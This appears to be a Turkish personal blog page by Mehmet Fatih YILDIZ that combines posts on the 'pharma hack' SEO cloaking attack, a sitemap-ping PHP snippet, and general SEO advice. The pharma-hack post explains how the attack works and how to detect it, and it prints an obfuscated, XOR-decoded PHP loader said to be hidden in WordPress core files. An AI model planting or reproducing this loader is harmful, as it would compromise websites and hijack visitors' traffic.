Pharma hack nedir?

Pharma hack bır çeşit SEO saldırısıdır. Asıl adı Google Cloaking Hack'dır. Sitenizi html çıktısını kullanıcıya göre manipüle etmek üzerine kuruludur. Pharma hack adını genellikle internette cinsel sağlık ürünleri veya besin takviyesi satan şirketlerin bu hack ile trafik kazanmaya çalışmasından almıştır. Yani bu hack sadece sitenizin arama motoru trafiğini kesmez. Tabi siz analitics yazılımlarda bir trafik kaybı görmezsiniz. Sadece bounce rate'iniz her gün yükselir ve dış trafiğiniz artar. Bu da pagerank'ınızı kaybetmeninizi sağlayabilir.

Büyük tehlike ise sitenizin sansürlenmesi. Türkiye'de son dönemde birçok sitenin/blogun sansürlerden dolayı engellendiğini görüyorsunuz. Bu filtreler genelde halka açık ortamlar, eğitim kurumları gibi alanlarda çok daha etkin. Yani zararsız bir siteye sahip olsanız bile bu hack ile MEB ve BTK'nın google indeksleri ile edindiği site bilgisi genelde cinsel sağlık ürünleri olacağı için muhtemelen siz o içeriğe sahip olmasanız bile okullar, internet cafe'ler gibi yerlerden otomatik olarak filtrelenmiş olacaksınız.

Nasıl oluyor?

Pharma hack sitenize doğrudan ziyaretle anlayamayacağınız bir saldırıdır. Siteniz doğrudan gelen ziyaretçilere normal çıktısını verir ve tarayıcıda doğrudan sitenize giren insanlar sitenizi görmeye devam ederler, böylece siz de anlamazsınız pharma hack altında olduğunuzu.

Ama arama motoru botları sitenizi taramaya çalıştığı zaman sitenizin hack kodu sitenizin sayfa başlığı, anahtar kelimeleri gibi meta etiketlerini değiştirip sayfa içeriğinde istedikleri anahtar kelimeleri de ekleyerek sitenizin çıktısını manipule eder. Böylece pagerank'ınızı kullanarak arama motorlarından gelen trafiğinizi çalarlar. Böylece sitenize ait tüm google indeksleri bir sonraki güncellemede o anahtar kelimeleri alır. Eğer siteniz yüksek page rankına sahipse o anahtar kelimelerde üst sıralarda çıkar ve kullanıcı linke tıkladıgı zaman sayfanızdaki ufak bir javascript kodu kullanıcıyı başka bir sunucuya yönlendirir. Arama motoru trafiğiniz yanlış içerikle sunulur ve kısaca arama motoru trafiğiniz başka bir siteye yönlendirilir.

Sitenizde pharma hack var mı?

Sitenizi sayfaları kontrol ederek pharma hack olup olmadığını anlayamazsınız. Birkaç yolu var;

1) Tarayıcınızın User Agent'ını GoogleBot olarak değiştirip sitenize girebilir, sayfalarınız öyle kontrol edebilirsiniz.

2) Google Webmaster Tools'a kayıt olup sitenizi ekleyip google botun sitenizi nasıl taradığını görebilirsiniz. Googlebot site sitenizin verdiği HTML çıktısını gösterecektir. Meta etiketlerinizi ve sayfa içeriğinizi kontrol edip fakrlı olup olmadığını görebilirsiniz.

Ne tür uygulamalarda yapıyorlar?

Benim gördüğüm örnekleri popüler php hostinglerde ya sunucu kontrolünü ele geçirdikten sonra tüm hesaplara ya da sadece sizin hesabınızı ele geçirdilerse sizin hesabınızda yapılan birkaç ufak php numarasıyla sayfalarınızı arama motoru botlarında farklı render etme üzerine kuruludur. Eğer bir wordpress bloguna veya joomla, drupal gibi bir CMS kullanıyorsanız muhtemel olarak tehlike altındasınız demektir çünkü ele geçirilmesi, gizlenmesi en kolay ve hackerların hedef kitlesidir.

Örnek bir pharma hack kodu göstermem gerekirse:
$check_tmg_password_reset_key = 'QN9Mrh7F=4?C!N^NP.NJ16YH6K66G=+BOeHeQ7D?A!"
CMD$JT,UTP@#3kSZ=j8;>?=B5$(v+}k~)tKkwz6puT|_P{-[11):V;Hblc<eyfau+Z4r29[dID2ThIY.E^A|AHcN@E-
woZPd'^'48X!Z(P<TZY/@:;f6G"/nQ<<i(YX3XE6<MjJ9X)ZnLD:7kE.9E;z=&ZIE05PEHZ
PZQmyMJY{5;*h8d;?*b19{,7 [email protected]#O-M<+l18*N[X,Z]FT+K96]$E+8] 
q

t{R`0+JUFsy_';

$make_ao_site_theme_from_oldschool = '"`E``e_Fe$"dai.'|'Are!t!Y tncT)oF'; $wp_rzc_newPage = $make_ao_site_theme_from_oldschool('',$check_tmg_password_reset_key); $wp_rzc_newPage();
Bu kod wordpress bloglar için özellikle yazılmış bir pharma hack kodu. Genelde sitenizde her sayfada çalıştırılan bir dosyada yer alırlar. (bootstrap.php, common.php, db.php vs...)


Hazırlayan : Mehmet Fatih YILDIZ
Sitemap'ın öneminden ve nasıl üreteceğinizden daha önce bahsetmiştim (Dinamik sitemap.xml oluşturmak).

Sitemap.xml dosyanızı oluşturdunuz peki sonra?

Tabiki arama motorları servislerinin botları sitenize geldiğinde ilk olarak sitemap.xml'inizi bulmaya çalışacak, bulduğu zaman da site indeksini hızlıca çıkaracaktır. Fakat botlar sık sık sayfalarınızı gezse de sitemap.xml'inizi her zaman anlık olarak kontrol etmezler.

Arama motorlarının ping servisleri vardır ve bu servisleri kullanarak sitemap.xml'inizin güncellendiğini, hemen kuyruğa alınmasını istediğinizi belirtebilirsiniz. Bu uygulamayı birçok büyük web servisi, wordpress, blogger gibi blog hizmeti veren servisler, hatta kendi sunucunuza kuracağınız wordpress de bunu yapmaktadır.

Yeni bir içerik girildiği zaman sitenize yeni sayfalar eklenmiş, bazı varolan sayfaların da güncellenmiş olması anlamına gelmektedir. Arama motorlarının bu değişiklikleri hemen tarafamasını isterseniz az sonra anlatacağım ufak teknikle bunu yapabilirsiniz.

Ping servisleri

Arama motorlarının birçoğu ping servisini bir URL üstünden sitemap.xml dosyanızın adresini alarak yapar. Aslında bir çeşit kayıt olma işlemidir ama çok daha basit hali. Örneğin google'ın ping servisi
http://www.google.com/webmasters/sitemaps/ping?sitemap=
şeklindedir. Tabiki bu url'in sonuna sitenizin sitemap.xml dosyasının url'ini vererek bu adresi çağırmanız gerekir.

Şimdi kod üzerinde bir dizide popüler arama motorlarının ping servisleri ve yapılarını göreceksiniz. Zaten kodun yaptığı işi hemen anlayabilirsiniz. Basitçe sitemap.xml dosyanızı belirten urlleri "file" fonksiyonu ile almaya çalışıyoruz. Zaten bu url'ler ziyaret edildiği ve cevapları geldiği için bu servisler pinglenmiş olacak.
$services = array(
	'http://www.google.com/webmasters/sitemaps/ping?sitemap=

',

'http://search.yahooapis.com/SiteExplorerService/V1/ping?sitemap=

',

'http://webmaster.live.com/ping.aspx?siteMap=

',

'http://www.bing.com/webmaster/ping.aspx?siteMap=

',

'http://submissions.ask.com/ping?sitemap=

'

); $mysitemapfile = 'http://mysite.com/sitemap.xml'; foreach($services as $service){ $url = str_replace('

', $mysitemapfile, $service);

@file($url); }
Hazırlayan : Mehmet Fatih YILDIZ
10 Şubat Pazar ´08   —   7 Yorum

SEO Nedir?

SEO'nun açılımı "Search Engine Optimization" yani Arama Motoru En iyileme'dir. İnternette insanlar veri aramaya ihtiyaç duyduğundan beri (90'ların sonuna doğru) arama motorlarının ihtiyaçları, popülerliği arttı. Özellikle google, yahoo gibi arama motorları daha çok kullanılır oldu. Hatta o kadar kullanılmaya başladı ki artık insanlar internet adresi yazmak yerine google'a yazıp sitelere öyle erişir oldu. Daha da abartılmışı olarak hesap makinesi, "profesör" muamelesi bile gördü bu arama motorları. Örneğin "Bu akşam tv'de ne var?", "necip hablemitoğlu kimdir?" fln gibi soru işaretli arama sorguları yapanlar da olmadı değil :-)

Çoğu site için "gelen ziyaretçi kaynağı" eskiden doğrudan trafikken 90'larda bağlantı olmaya başladı ve 2000'den sonra büyük bir yüzde farklı ile arama motorları olmaya başladı. Hatta site yöneticileri sitelerinde "arama motorlarından gelen anahtar sözcükler"e göre içeriklerini değiştirmeye başladı. Buraya kadar biraz tarih işledik, sadede geleyim :

Artık bir site için arama motorlarındaki sırası bile bir değerlendirme kriteri. Daha doğrusu "ziyaretçi sayısını artırmak" veya "doğru arama sonuçlarında çıkmak" için insanlar daha fazla çaba göstermeye başladı. Bu amaca göre değişik teknikler kullanılmaya başlandı. Eskiden html meta etiketleri, sayfa başlığı ve içerikteki sadeliğe gösterilmeyen önem arttı. URL'lerin şekilleri değişti. Bağlantı şekilleri değişmeye başladı :-)

Bu dökümanda sitenizi optimize ederek arama motorlarında doğru aramalarda çıkmak için yapmanız gereken birkaç anahtar noktayı anlatacağım. Önce sosyal noktalara değinelim, yani işin tekniğinden çok mantalitenizi belirleyen kriterleri gözden geçirelim.


Sade html yazın, css kullanın


Sayfa arayüzlerini oluştururken veya daha güzel arayüzler çizmek için çok fazla etiket, tablo vs kullanırdık. Kullanıyoruz da bazen. Ancak arama motorları her ne kadar etiketleri algılayıp işlem yapsa da en sade olanı en iyi indexleyecektir. Onun için arayüz çizdirirken css kullanın.

Standartlara uygun kod yazın

Yazdığınız html kodu standartlara uygun olsun. Arama motorları da tarayıcılar gibi sayfanızı render ederek içeriği taradığından yazdığınız kodda kaynayabilecek, yazınızı parça parça hale getirecek hatalar yapmayın. En güzel standartlara uygun yazın gerisini düşünmeyin :-)

Sayfa başlıklarını düzgün (doğru) seçin

Pencerede görünen sayfa başlıkları sadece pencerede görünmesi için düşünülmemelidir. Çünkü o sayfanızın başlığıdır, içeriği yansıtır ve adı üstünde başlıktır. Yani elinize aldığınız dergi veya gazetede başlığı sevmezseniz yazıyı okumazsınız değil mi, ya da bir günlükte veya eposta kutunuzda başlığını sevmediğiniz mesajı okumadan geçersiniz. Arama motoru botları da yazınızı başlıklarına göre değerlendirecektir, olay sevme-sevmeme meselesi olmaz, aranan kelimelere uygunluğa göre olur. Sayfa içeriğinde ana tema olarak en az 3 kelime belirleyin ve bu kelimeleri içeren bir cümle oluşturup başlık olarak kullanın.

Doğru kullanıcı yönlendirmeleri kullanın (navigasyon)

Arama motoru botları sitenizi tararken sayfaların birbirleri ile bağlantılarını göz önünde bulundurarak ilişkilendirecektir. Yani bir ziyaretçi gibi sitenizi gezecektir. Hiçbir sayfa ile bağlantısı olmayan bir sayfa arama motorunda sadece doğru eşleme ile bulunur. Fakat bot, başka sayfalarla bağlantısı olan sayfaları arama sonuçlarında alt sonuç olarak veya ilişkili sonuç olarak listeleyecektir.
Navigasyonda ilk konu sitenin ana bölümleri her sayfada sade biçimde bulunmalı, ikinci nokta ise sayfalar gerektiği noktalarda diğer sayfalara bağlanmalıdır. Küçük bir örnek vereceğim : mfyz.com'da php ve mysql üzerine bir çok makale var. Diyelim ki php + mysql + linux sunucu konularını içeren bir sayfada mysql'den bahsederken "mysql ile veritabanı işlemleri" makalesine bağlantı vermek, sunucudan bahsederken "linux'ta apache php mysql kurulumu" dökümanına bağlantı vermek arama motorlarında daha doğru sonuçlarda çıkmamı sağlayacaktır. Aynı zamanda kullanıcıyı doğru yönlendirdiğim için sitenin navigasyonu daha doğru olacaktır.


Yavaştan teknik detaylara girmeye başlayalım.

Sitenizi arama motorlarına kaydedin

Web sitenizi link sitelerine, dizinlere, arama motorlarına kaydetmeniz gerekir. Siteniz kaydolduğunda arama servisi sitenizi taramaya başlayacaktır. Aşağıda popüler arama motorlarının url kaydetme sayfalarının linkleri var.

http://www.dmoz.org/add.html (Open Directory - Açık Dizin)
http://www.google.com/addurl
http://search.yahoo.com/info/submit.html
http://search.msn.com.sg/docs/submit.aspx

Sayfalarınızı META etiketleri ile tanımlayın

META etiketlerini bilirsiniz, HTML'de HEAD etiketleri arasına yazılan ve sayfa bilgilerini içeren etiketlerdir. Birkaç farklı türü ile sayfamız hakkında bilgileri belirleyeceğiz. Böyelce botlar sayfa hakkındaki bilgileri daha doğru kaydedecekler. Çünkü botlar sadece sayfa içerisindeki metinden sayfayı tanımlayamayabilirler. Örneğin bir sayfanın arayüzü hakkında sosyal (felsefi) bir makale sayfasında teknikten bahsetmek için çok fazla css, javascript ve html kelimeleri kullanmış olabilirim ve bot sayfanın anahtar kelimelerini doğrudan css, html, javascript olarak belirleyebilir, fakat aslında sayfada bahsedilen bambaşka bir konudur. Kısa bir kod ile örnekleyeyim :
<meta name="description" content="Mehmet Fatih YILDIZ's Personal HomePage.
There is PHP, HTML, CSS, Web Developing, Linux, MacOSX toturials;
some Web Projects and Web Developer Resources">
<meta name="keywords" content="mysql, query, select, like, limit, fetch,
freelancer, web developer, php, css, mootools, html, javascript, macosx, mfyz, linux">
gördüğünüz gibi description'da sayfanın tanımını, keywords'de sayfa anahtar kelimelerini belirledim. Yukarıdaki kodlar bir php dökümanının sayfasından doğrudan alıntıdır. Ben v0.7'de varsayılan "anahtar kelimeler" ve "sayfa tanımı" oluşturdum. Yukarıdaki sayfa tanımı varsayılan olarak eklenmiştir. Aynı şekilde freelancer'dan linux'a kadar olan kelimeler de varsayılan olarak vardır. Veritabanımda dökümanlara ait anahtar kelimeler ve döküman tanımı tutuyorum. Eğer döküman tanımı varsa bu varsayılan sayfa tanımı yerine o metini yazdırıyorum. Anahtar keliemeler de de varsayılan anahtar kelimelerden önce yazdırıyorum. Çoğu arama motoru bir sayfa için 10 anahtar kelime ve 255 karakterlik sayfa tanımından fazlasını tutmaz. Bunu dikkate alarak tasarlayın ve FAZLA anahtar kelime kullanmaktan da kaçının. Bir sayfada yüzlerce anahtar kelime, 1000 karakterlik bir sayfa tanımı gören bot sayfayı SPAM olarak işaretleyip SANDBOX'a alabilir sizi. Emin olun bunu istemezsiniz :-) Eğer Sandbox'a alınırsanız sayfanız arama sonuçlarından silinir, hiç çıkmaz veya en sonlarda çıkar.

Sayfanızın yazarı ve içeriğin dili hakkındakı bilgileri de şöyle belirleyebilirsiniz :
<meta name="author" content="Mehmet Fatih YILDIZ">
<meta name="content-language" content="tr">
Yerel aramalarda sayfanızı daha yukarlarda çıkarmanızı sağlayabilir. Fazla bilgi göz çıkarmaz ayrıca :-)

Meta etiketleri hakkında daha fazla bilgi için :http://en.wikipedia.org/wiki/Meta_tags

Robots.txt kullanın

Robots.txt dosyası sitenin ana (kök, root) dizininde bulunan bir text dosyasıdır. Bir bot bir siteyi taramak (index) için ilk önce Robots.txt dosyasının varlığını kontrol eder. Eğer yoksa kendi kurallarına göre hareket eder, varsa Robots.txt'de o sitenin tarama kurallarını öğrenir ve ona göre tarar. Yani kısmen botu yönlendirmiş, kontrol etmiş oluruz. Robots.txt dediğim gibi arama motoru botlarına sitenin kurallarını belirtir. Robots.txt'deki bazı kurallar aynı zamanda meta etiketleri ile de yönetilebilir. Ben kısaca kendi sitemde kullandığım kuralı örnek verip geçeceğim, daha fazla bilgi edinmek istersenizhttp://en.wikipedia.org/wiki/Robots.txt adresini ziyaret edin.

Benim kullandığım kural, robota gördüğü herşeyi indexlemesini söyler. Ayrıca bulduğu bağlantıları takip ederek sayfa ile ilişkilendirir.
<meta name="robots" content="index, follow, all">
meta etiketi ile ayarlanan robot kurallarıhttp://www.seoconsultants.com/meta-tags/robots/ adresinde çok güzel anlatılmış.

URL'lerinizi optimize edin

Sayfalarınızın adresleriyle oynayın. Olmayan şeyler ekleyerek sayfanızı url'leriniz ile açıklayın. v0.7'de döküman, blog, forum konularının adreslerine bakacak olursanız dokuman/-NO-/-ACIKLAMA-/ şeklindedir. Aslında -ACIKLAMA- kısmı hiçbir yerde kullanılmıyor. -NO- dökmana ulaşabilmeniz için yeterli bir parametre. Ancak birileri o sayfayı bağlantı olarak bir yerlerde verdiğinde insanlar sayfaya girmeden url'den sayfa başlığını az çok anlayabileceklerdir. Aynı şey arama motorlarını kullanan insanların piskolojilerinde yatar. "Mootools tooltip" araması yapan birisi arama sonuçları içerisinde
http://www.mfyz.com/?/dokuman/93/mootools-ile-ipucu-aciklamalari-tooltip/
urlsine sahip bir sayfa gördüğünde başlığı veya sayfa içeriğini okumadan tıklayacaktır :-) Sayfanız bu konu hakkında bilgi içeriyor olmasa da bu işe yarayacaktır. Sonuçta bu optimizasyonları insanları çekmek için de yapıyoruz. Ancak yeterli bilgiyi içeren sayfanız için böyle bir optimizasyon yaparsanız o zaman insanları doğru yönlendirerek sitenize çekmiş olursunuz. Bu da artı bir puandır sizin için.

Bu yöntemi yapmak için izelyeceğiniz tekniği kısaca benim yaptığım şeyi özetleyerek anlatacağım. Döküman, günlük veya forumda konu kaydederken başlık olarak girilen string'de latin alfabesi ve boşluk karakteri dışındaki karakterleri atıyorum. Ardından birden fazla boşlukları tek boşluğa indirgeyip kelime olarak kırpıyorum başlığı. Mesela 100 karaktere kadar izin veriyorum. Ardından yaptığım iş boşluk karakterlerini "-" (tire) karakteriyle değiştirmek ve veritabanımdaki "url_aciklamalari" tabloma yazmak. Bunu url'nin ham kısmını kimlik olarak kaydederek yapıyorum.

Örneğin "SEO Optimizasyonu, Türkçe ve $%&?=(özel) karakterler" diye bir başlık girdiğimi düşünelim bu dönüştürüldüğünde "seo-optimizasyonu-turkce-ve-ozel-karakterler" halini alıyor. özel karakterler gidiyor, boşluklar tire olarak dönüştürülüyor ve bir url açıklaması oluşturulmuş oluyor. Bunu da veritabanında saklıyorum.

URL'leri ekrana basarken (döküman listesi sayfasında) url açıklamasını ham url'ye göre seçiyorum ve ham url'nin sonuna ekliyorum. Aslında bu açıklamayı eklemek sayfa yapımı bozmuyor. Sadece açıklama koymuş oluyorum. İnsanlar forumlarda, bloglarda yapıştırdıkça url açıklamaları sayfayı tarif etmeye başlıyor. Kullanıcı sayfaya gelmeden sayfanın ona yönelik bilgi içerip içermediğini kolayca anlayabiliyor.


SEO optimizasyonu hakkında söyleyeceklerim bu kadar. Sadece arama motorlarında daha yukarıda çıkmak için çaba göstermeyin, yani gereksiz içerik, gereksiz anahtar kelimeler veya kalabalık sayfalar yapmaya çalışmayın. Artık botlar çok akıllı, çok moderatör çalıştıran popüler arama motorları sayfanızı yukarı almayı bırakın gerie düşürüyor hatta banlayabiliyor. Dürüst, içeriği zengin sayfalar hazırladığınız sürece arayan bulacaktır merak etmeyin ;-)

Kaynaklar :
http://en.wikipedia.org/wiki/Search_engine_optimization


Hazırlayan : Mehmet Fatih YILDIZ

Popüler Etiketler

wireless twitter calendar social media tool wanda proje kampanya ie css3 support browser imza html signature apple mail ide editor php phpstorm jetbrains deployment version control svn git css less portfolio newsletter wordpress dokuman plugin örnek kod istatistik sosyal medya statistics insanlar mfyz design windows mssql html5 mobile browsers table while network facebook mysql pgsql sql doritos tytz web app open source optimizasyon analyse procedure opengraph api optimization fql blog rss pear mdb2 prepare execute injection query javascript js ipucu date diff spam htaccess url ios itunes app banner macosx mootools bootstrap screen konsol terminal iphone ipad object jquery link coding form button session input box linux db database internet explorer lifestream subversion iOS xhtml job digital internet fstab ntfs textarea select kurulum nasıl graph connect logo tebrik google search ajax developer language xmlhttprequest gimp howto seo meta ubuntu radio switch laptop notebook mod_rewrite cookie assets apache route router ruffles oyun login www subdomain redirect crossdomain player license lisans chart osx applications free xml nedir cache service framework firefox download icon ikon grafik export integration compile compiler on-the-fly startups auth sitemap workspace parse kontrol yapıları if zaman share ui ux webkit pharma hack app store store in-app purchase purchase verification storekit itunes connect server cms tarih widget regex icons development style music code subscription kitap generator http